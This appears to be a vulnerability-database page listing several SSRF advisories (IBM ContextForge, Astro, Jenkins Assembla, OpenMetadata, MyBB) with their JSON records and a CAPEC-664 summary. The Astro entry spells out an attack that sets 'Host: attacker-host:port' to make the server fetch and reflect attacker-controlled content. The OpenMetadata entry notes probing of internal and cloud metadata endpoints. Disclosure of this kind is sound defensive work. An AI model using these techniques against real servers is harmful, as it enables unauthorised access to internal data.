CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-77822"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-04T16:17:59Z",
    "severity": "HIGH"
  },
  "details": "IBM ContextForge MCP Gateway could allow a remote authenticated attacker to obtain sensitive information due to server-side request forgery via DNS rebinding.",
  "id": "GHSA-2pmv-2qcc-jcgq",
  "modified": "2026-09-04T18:31:24Z",
  "published": "2026-09-04T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77822"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7286055"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PVR-WF23-7PC7

Vulnerability from github – Published: 2026-06-16 14:38 – Updated: 2026-08-12 20:37
VLAI
Summary
Astro: Host header SSRF in prerendered error page fetch
Details

Summary

Astro SSR apps with prerendered error pages (/404 or /500 using export const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header is not validated against allowedDomains, an attacker can point the fetch at an arbitrary host and read the response.

Who is affected

This affects SSR deployments that:

  1. Have a prerendered 404 or 500 page
  2. Use createRequestFromNodeRequest from astro/app/node with app.render() without overriding prerenderedErrorPageFetch — this includes custom servers built on the public API and third-party adapters

Not affected: - @astrojs/node >= 9.5.4 (reads error pages from disk) - @astrojs/cloudflare (uses the ASSETS binding) - The dev server (renders error pages in-process)

How it works

createRequestFromNodeRequest builds request.url from the raw Host / :authority header. The allowedDomains option is accepted but only gates X-Forwarded-For — it does not constrain the URL origin. (The public createRequest does fall back to localhost for unvalidated hosts; this internal builder did not.)

When app.render() encounters a 404 or 500 with a prerendered error route, default-handler.ts constructs the error page URL using the origin from request.url and fetches it via prerenderedErrorPageFetch, which defaults to global fetch. The response body is served to the client.

An attacker sends a request with Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.

Remediation

The error page fetch origin is now validated against allowedDomains before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to localhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.

Credit

5ud0 / Tarmo Technologies

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "astro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54299"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T14:38:06Z",
    "nvd_published_at": "2026-06-22T19:17:21Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAstro SSR apps with prerendered error pages (`/404` or `/500` using `export const prerender = true`) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from `request.url`, which in turn gets its origin from the incoming `Host` header. When the `Host` header is not validated against `allowedDomains`, an attacker can point the fetch at an arbitrary host and read the response.\n\n## Who is affected\n\nThis affects SSR deployments that:\n\n1. Have a prerendered 404 or 500 page\n2. Use `createRequestFromNodeRequest` from `astro/app/node` with `app.render()` **without** overriding `prerenderedErrorPageFetch` \u2014 this includes custom servers built on the public API and third-party adapters\n\n**Not affected:**\n- `@astrojs/node` \u003e= 9.5.4 (reads error pages from disk)\n- `@astrojs/cloudflare` (uses the ASSETS binding)\n- The dev server (renders error pages in-process)\n\n## How it works\n\n`createRequestFromNodeRequest` builds `request.url` from the raw `Host` / `:authority` header. The `allowedDomains` option is accepted but only gates `X-Forwarded-For` \u2014 it does not constrain the URL origin. (The public `createRequest` does fall back to `localhost` for unvalidated hosts; this internal builder did not.)\n\nWhen `app.render()` encounters a 404 or 500 with a prerendered error route, `default-handler.ts` constructs the error page URL using the origin from `request.url` and fetches it via `prerenderedErrorPageFetch`, which defaults to global `fetch`. The response body is served to the client.\n\nAn attacker sends a request with `Host: attacker-host:port`, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.\n\n## Remediation\n\nThe error page fetch origin is now validated against `allowedDomains` before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to `localhost`. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.\n\n## Credit\n\n5ud0 / Tarmo Technologies",
  "id": "GHSA-2pvr-wf23-7pc7",
  "modified": "2026-08-12T20:37:21Z",
  "published": "2026-06-16T14:38:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-2pvr-wf23-7pc7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro: Host header SSRF in prerendered error page fetch"
}

GHSA-2Q27-6P2H-Q6R3

Vulnerability from github – Published: 2026-06-24 15:31 – Updated: 2026-09-25 19:47
VLAI
Summary
Jenkins Assembla Plugin has an XXE vulnerability
Details

Jenkins Assembla Plugin 1.4 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks when parsing responses from the configured Assembla server.

This allows attackers able to control the responses of the configured Assembla server to extract secrets from the Jenkins controller or perform server-side request forgery.

As of publication of this advisory, there is no fix.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:assembla"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57303"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-25T19:47:08Z",
    "nvd_published_at": "2026-06-24T14:17:36Z",
    "severity": "HIGH"
  },
  "details": "Jenkins Assembla Plugin 1.4 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks when parsing responses from the configured Assembla server.\n\nThis allows attackers able to control the responses of the configured Assembla server to extract secrets from the Jenkins controller or perform server-side request forgery.\n\nAs of publication of this advisory, there is no fix.",
  "id": "GHSA-2q27-6p2h-q6r3",
  "modified": "2026-09-25T19:47:08Z",
  "published": "2026-06-24T15:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57303"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lucamilanesio/assembla-jenkins-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2026-06-24/#SECURITY-3692%20(1)"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Assembla Plugin has an XXE vulnerability"
}

GHSA-2QH3-CV3F-WH5H

Vulnerability from github – Published: 2026-09-25 21:33 – Updated: 2026-09-25 21:33
VLAI
Details

OpenMetadata through 2.0.2 contains a server-side request forgery vulnerability in the URLValidator.validateURL function that fails to properly resolve DNS hostnames and validate internal addresses. Users permitted to create or update EventSubscription can set webhook destinations to internal hosts, allowing the server to send requests to private networks and cloud metadata endpoints while returning HTTP status codes that enable blind SSRF probing.

Severity
4.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-100373"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-25T20:17:06Z",
    "severity": "MODERATE"
  },
  "details": "OpenMetadata through 2.0.2 contains a server-side request forgery vulnerability in the URLValidator.validateURL function that fails to properly resolve DNS hostnames and validate internal addresses. Users permitted to create or update EventSubscription can set webhook destinations to internal hosts, allowing the server to send requests to private networks and cloud metadata endpoints while returning HTTP status codes that enable blind SSRF probing.",
  "id": "GHSA-2qh3-cv3f-wh5h",
  "modified": "2026-09-25T21:33:02Z",
  "published": "2026-09-25T21:33:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100373"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/issues/32592"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/commit/8f44482ac89bad9227df5b7f79beca2efe50c05f"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/naif-alfardan/8a69e0648e11b07abe63f949346179c1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/blob/2.0.2-release/openmetadata-service/src/main/java/org/openmetadata/service/util/URLValidator.java#L34-L47"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openmetadata-through-2.0.2-ssrf-via-webhook-url-validation-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2QHW-4VW3-X335

Vulnerability from github – Published: 2025-04-18 00:30 – Updated: 2025-04-23 15:30
VLAI
Details

An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Mail function.

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-29459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-17T22:15:15Z",
    "severity": "HIGH"
  },
  "details": "An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Mail function.",
  "id": "GHSA-2qhw-4vw3-x335",
  "modified": "2025-04-23T15:30:47Z",
  "published": "2025-04-18T00:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29459"
    },
    {
      "type": "WEB",
      "url": "https://docs.mybb.com/1.8/administration/security/protection/#limit-access-to-private-hosts-and-ip-addresses"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/ggnmg5nnu635kvrc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list